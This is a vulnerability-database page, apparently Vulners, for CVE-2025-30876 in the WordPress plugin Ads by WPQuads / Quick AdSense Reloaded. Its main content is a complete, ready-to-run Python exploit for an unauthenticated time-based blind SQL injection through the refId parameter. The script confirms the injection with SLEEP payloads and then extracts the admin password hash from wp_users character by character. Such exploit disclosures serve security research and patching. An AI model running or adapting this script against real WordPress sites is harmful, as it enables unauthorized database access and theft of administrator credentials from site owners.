| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2025-30876 | 1 Apr 202506:15 | – | attackerkb | |
| CVE-2025-30876 | 1 Apr 202506:40 | – | circl | |
| WordPress plugin Ads by WPQuads SQL注入漏洞 | 1 Apr 202500:00 | – | cnnvd | |
| CVE-2025-30876 | 1 Apr 202505:31 | – | cve | |
| CVE-2025-30876 WordPress Ads by WPQuads plugin <= 2.0.87.1 - SQL Injection Vulnerability | 1 Apr 202505:31 | – | cvelist | |
| EUVD-2025-9092 | 3 Oct 202520:07 | – | euvd | |
| CVE-2025-30876 | 1 Apr 202506:15 | – | nvd | |
| WordPress Ads by WPQuads plugin <= 2.0.87.1 - SQL Injection Vulnerability | 27 Mar 202511:27 | – | patchstack | |
| PT-2025-14060 · Wpquads · Wpquads | 1 Apr 202500:00 | – | ptsecurity | |
| CVE-2025-30876 | 3 Apr 202509:50 | – | redhatcve |
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Ads by WPQuads / Quick AdSense Reloaded <= 2.0.87 - Unauthenticated SQL Injection
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <[email protected]> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/quick-adsense-reloaded/
# Software Link: https://downloads.wordpress.org/plugin/quick-adsense-reloaded.2.0.87.zip
# Version: 2.0.87 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-30876
"""CVE-2025-30876 — Ads by WPQuads / Quick AdSense Reloaded <= 2.0.87 — Unauthenticated SQLi
Blackbox HTTP time-based blind SQL injection against a real WordPress + Quick AdSense install
that has the "sell ads" feature in use (the `wp_quads_adbuy_data` table exists with >=1 row —
see setup_state.sh / README for how to create that state).
Root cause: `quads_authorize_payment_success()` is hooked on the unauthenticated `init` action
(includes/ad-selling-helper.php:87). It reads `refId` from GET and concatenates it, unquoted,
into a numeric SQL context with no preparation:
// includes/ad-selling-helper.php:105
$ad_details = $wpdb->get_row("SELECT * FROM $table_name WHERE id = $order_id AND user_id = $user->ID");
`$order_id = sanitize_text_field(wp_unslash($_GET['refId']))` — no quotes are needed (numeric
context), so `refId=0 OR SLEEP(4)` injects directly. Blind (result used only internally), so
time-based extraction is used.
Gate params required: status=success, ad_slot_id>0, user_id (an existing user id, e.g. 1=admin),
refId non-empty, and NO `target` param.
Usage:
python3 CVE-2025-30876_quick-adsense.py --target http://localhost:8090 --dump-hash
"""
import argparse, time, sys, urllib.parse
import requests
requests.packages.urllib3.disable_warnings()
def send(base, refId, timeout):
qs = {"status": "success", "ad_slot_id": "1", "user_id": "1", "refId": refId}
url = base.rstrip("/") + "/?" + urllib.parse.urlencode(qs)
t0 = time.time()
try:
requests.get(url, timeout=timeout, verify=False)
except requests.exceptions.ReadTimeout:
return timeout
return time.time() - t0
def oracle(base, cond, delay=4):
el = send(base, f"0 OR IF(({cond}),SLEEP({delay}),0)", timeout=delay + 15)
return el > delay * 0.7
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--dump-hash", action="store_true", help="extract admin (user 1) password hash prefix")
args = ap.parse_args()
base = args.target
print(f"[*] Target: {base}")
print("[*] Calibrating time-based oracle (refId numeric injection on init hook)...")
t0 = send(base, "1", 20)
t1 = send(base, "0 OR SLEEP(4)", 25)
print(f" refId=1 -> {t0:.2f}s refId=0 OR SLEEP(4) -> {t1:.2f}s")
if t1 - t0 < 3:
print("[-] No delay. Ensure the sell-ads table wp_quads_adbuy_data exists with >=1 row (see README).")
return 1
print("\n[+] SQL INJECTION CONFIRMED (time-based blind, unauthenticated).")
if args.dump_hash:
print("[*] Extracting wp_users[ID=1].user_pass (first 16 chars) via boolean/time oracle...")
h = ""
for pos in range(1, 17):
lo, hi = 32, 126
while lo <= hi:
mid = (lo + hi) // 2
cond = f"ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{pos},1))>{mid}"
if oracle(base, cond):
lo = mid + 1
else:
hi = mid - 1
if lo == 32:
break
h += chr(lo)
print(f" hash[{pos}] = {chr(lo)!r} -> {h!r}")
print(f"\n[+] Extracted admin password-hash prefix: {h!r}")
return 0
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation